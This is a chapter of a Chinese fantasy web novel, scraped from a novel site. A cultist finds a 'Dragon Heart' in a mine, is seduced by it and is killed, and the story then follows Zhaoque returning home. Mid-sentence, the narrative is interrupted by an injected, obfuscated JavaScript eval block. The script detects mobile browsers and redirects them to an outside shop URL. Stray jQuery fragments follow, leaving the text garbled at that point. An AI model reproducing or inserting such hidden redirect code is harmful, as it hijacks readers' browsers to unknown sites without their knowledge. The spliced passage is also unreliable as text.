文趣网 > 其他小说 > 应许之地[西幻] > 14. 应验
    悬浮在她手中的炼金道具,从外表看是个普通的罗盘。罗盘中心充当指针的是团由多个齿轮组成的物件。它们不遵从一般齿轮彼此咬合的啮合状态,而是独立转动运行,同时“重合”在球状的空间范围里。

    罗盘才是真正的探测器,齿轮组则是黛娜能在希林弄到手的、最高级的魔力驱动装置。它自制造之初,就是在这里的炼金工坊完成的,能够直接以未经处理提纯的魔力矿物作为能源。

    而探测罗盘原本的指针,和目前主流的大部分炼金道具一样,需要魔法使自己用魔力充能。

    ——黛娜才舍不得用自己的魔力。

    开什么玩笑,这探测器需要的魔力可不是小数目。比起掏空自己的魔力,充一点儿,等待魔力恢复完成,再充一点儿,找人买件符合当地环境条件的驱动装置简单多了。

    这小破地方的空气里弥漫的都是矿石粉末,驱动装置放上去自己就开始充能给探测器提供魔力,多待一会儿,交还探测罗盘之前说不定能充满。

    黛娜观察着矿洞里的情况,感受着比起外面更浓郁、颗粒也更显目的粉尘。它们还未接触皮肤,就比融雪还要快速地消散,可能是直接散回了世界夹缝。尽管触感上她没有受到任何矿石粉尘的干扰,但还是出自生活本能地掩住口鼻。

    得亏这些矿石沾染魔力属性、并非常规物质,否则要在这样的环境里生活,希林绝不会到今天还是人口-活跃的小镇。

    呵呵,那样好像是好事。

    奇怪的是,从入口一路走下矿洞,矿道始终没有分岔。黛娜带着罗盘,有种白费心思的微妙感觉。

    她将罗盘紧贴两侧的石壁,想试出是否有暗道,罗盘发亮的刻度却顽强地朝向肉眼可见的唯一通路。

    没办法,也只能继续深入。

    再往深处,飘散的矿石粉尘反而越来越少,石壁上生长着许多结晶,里面困着淡紫的流烟。此时,面前总算是出现了四个路口。

    这让黛娜稍微放下心。什么错误选项都没有,实在让人怀疑是不是一开始就走错了。

    她驱使肩头的小火苗飘过去挨个路口看了遍,罗盘刻度上同时亮起了四处,正好与路口的方向对应。但仔细一看,它们的亮度有所区别,左手边第二个路口对应的刻度最亮,黛娜也就往那边走进去。

    一直走到尽头,第二条路竟然是条坍塌封死的假矿道。

    她愣了愣,选择相信红主教交给她的炼金道具,抬手,魔力在身前描绘法阵,成形,一道光束击出。试探的攻击穿透石头垒起的墙,就好像被石墙吞吃掉了。

    这么简单的障眼法?

    是谁弄的这种东西?

    没有异常她觉得奇怪,有了异常她还是觉得奇怪。

    如果希林的主教知道有龙之心在希林矿场,不该会允许有人这么轻易地接近。而且,有防卫队长在前,主教的纸面实力就算有水分,也不至于只设下这样一个毫无含金量的障眼法拦路。

    不是希林主教,会是哪个势力的人呢?

    魔力涌动,黛娜身边线条描画出更多大大小小的法阵。她收好罗盘,小心地穿过封路的假墙,随时准备与墙背后已经被她惊动的埋伏者战斗。

    可是她再一次多想了。

    不管障眼法是怎么回事,至少假墙后面没有她所防备的敌人。

    一颗光华璀璨,人头大小的浅粉色晶石悬在石室中央。魔晶矿石受到某种力量的牵引,从四周的石壁上脱离,一条条连接到浅粉晶石上端。

    无需再看罗盘,黛娜瞬间意识到,这就是龙之心。

    不一定是龙,但它或许真的曾是某种强大生物的心脏。

    任务目标就在眼前,不必犹豫,黛娜按照红主教信中的指示,原地写下一封信寄了出去。

    他们给教派中的成员寄信,中途会由教派中的大型魔法识别标志,并转到最终地址。因此,黛娜自己虽然不知道红主教说的人是谁、联系地址又是哪里,但她送出去的信会知道。她不担心这一点。

    等帮手回信的时间显得太过漫长。

    过去多久了,回信怎么还不来?

    红主教不爱回信,这是众所周知的事。底下的教徒即使想模仿红主教,以这样拙劣的方式靠得离他更近,也情有可原。可是若真是这样,她便定要狠狠咒骂那位不知名的同僚。

    真的不会有人闯进来?她身边的魔法阵们仍保持着即将启动的状态。

    她刻意放松地想找点什么转移注意,光秃秃的石壁之外,只有光芒浮动的那颗“龙之心”。

    火光下,龙之心的表面因结晶凸起粗糙,又因结晶的光滑而平整。每一个反射的表面都有一个黛娜,就像是命运不可计数的可能性。它们闪烁着,带来一种难以抗拒的诱惑。

    黛娜不合时宜地理解了为何闪耀的事物总是引人倾心,连鸟雀也偏爱草丛中破碎的残片。

    她深深沉浸在“龙之心”的柔美光辉中,逐渐难以自拔。

    她不算是很有天赋的那种魔法使,和许多人做出了同样的选择——加入情绪教派,获得更轻松提升实力的神赐。

    可还是不够。

    即使同属教派,也有其他成员走得远快于她。而他们,在她看来,不过是些只知道混迹酒馆的人。

    人与人的差距就这样难以抹除?

    她为什么就不能是天赋异禀之辈?

    她听说过的,世界上不可能完全没有改换资质的方法。不然那些口口声声说着魔力亲和不可遗传的贵族名望们,难道就真的运气那么好,每一代都能生出有天赋的孩子?

    只是他们能付得起其中价格而已。

    为什么我不行?

    ……我不行?

    我为什么不行!

    珍贵无比,连大名鼎鼎的红主教都想得到的东西,不就在眼前吗?

    “龙之心”……

    她不由自主地走上前,伸出双手做出一个捧起它的姿势。

    一步登天的捷径触手可及。她仿佛看见了往后大权在握,轻抚之间山平水涌,重织世间规则的自己。

    那时的黛娜,不再是连名字都没有的情绪教派红主教麾下白骑士第十席,而是与光

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17844614|211721||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    耀帝国光明神、长平王朝锦山君以及其他神明并称的新神。

    她已经知道了,她的权柄将是——

    贪婪。

    噗呲——

    她的身体被劈成两半,血液高高溅起,零星几点射落在石室入口折断的木制承重结构上。

    周身属于她的魔法和魔力溃散,没能发挥它们的作用,也标示着主人干脆的死亡。即使如此,她的一双眼睛仍然死死盯着梦幻的龙之心,从眼眶暴出,窥视着不可能的未来。

    防卫队长静静走进室内,扫了眼黛娜,伸手朝龙之心一握。它化作流光收拢进防卫队长掌心。魔晶碎矿失去牵引,噼啪地砸下。

    他吹了个无声的口哨。

    有东西从地下远处赶来,山体震动。

    离开前,队长掏出她先前写的信随意地扔在地上,正好盖住她满是疯狂的眼睛。

    ……

    防卫队员一路送召雀回到江家前院,嘱咐她不用担心好好休息,一切听教会后续的安排。召雀还有点听不清她说话,囫囵点点头,进了屋。

    她看了眼时间,深深呼吸,过去片刻,脑子里的嗡鸣有所减轻。

    在找空云和处理擦伤之间犹豫了一会,她想想,还是先去找了消毒的药水,洗了洗手与脸。

    等她能学习魔法时,一定要优先学两个治愈魔法。

    她记得幻境中的画面,只是不知道最后她着了魔似的陷入沼泽,又一脚踏空,对应现实场景究竟是从哪里摔了下来。

    手掌根和手肘分别擦破了小片,皮肉里掺进细沙与碎石,用水冲洗干净后重新渗出血丝。其他裸露的皮肤部分目前只是有些泛红。

    今早应该穿件长袖或者外套的。她卷起裤腿检查了下,腿上没事。

    涂完药水等稍微晾干的空隙,她想之后一定要先学几个便于生活的魔法,比如治愈魔法。也不用学到有多资深,只要能治愈眼下这种小伤,够用就行。

    空云最近又有些状况不佳。他自己在这事上似乎不太在乎,让他看见擦伤,他大概会强撑着使用治愈魔法,还会说什么“是小伤所以魔力需求不多”。

    这种话只能哄骗不了解魔法原理的小孩子。

    依照往日的习惯,这个时候空云还在二楼书房钻研魔法理论。召雀套了件外套上楼找他。

    找他要说什么呢?

    其实她还没有想好。但她需要找个足够可靠的人聊点什么。随便什么。

    对了,可以问问他要不要去艾拉的聚会。

    家里很安静,和平常的每一天那样安静,安静得她听见自己胸膛里的所有器官在狂跳。

    书房门半掩,召雀走近,步幅逐渐变慢。右脚迈了出去僵滞不动,左脚还未跟上,幻境里、矿场中的血腥味如同生锈的猎犬追袭而来,咬碎了她的感官。

    思绪的蜂巢倾覆,失去家园的蜂群涌出,它们疯狂振翅,祭出会使自己也丧命的尾针,要冲破颅骨飞出。

    它们成功了。

    蜂群飞向门扉里的生物,要代替她看清那是谁。可她知道那是谁……不是吗?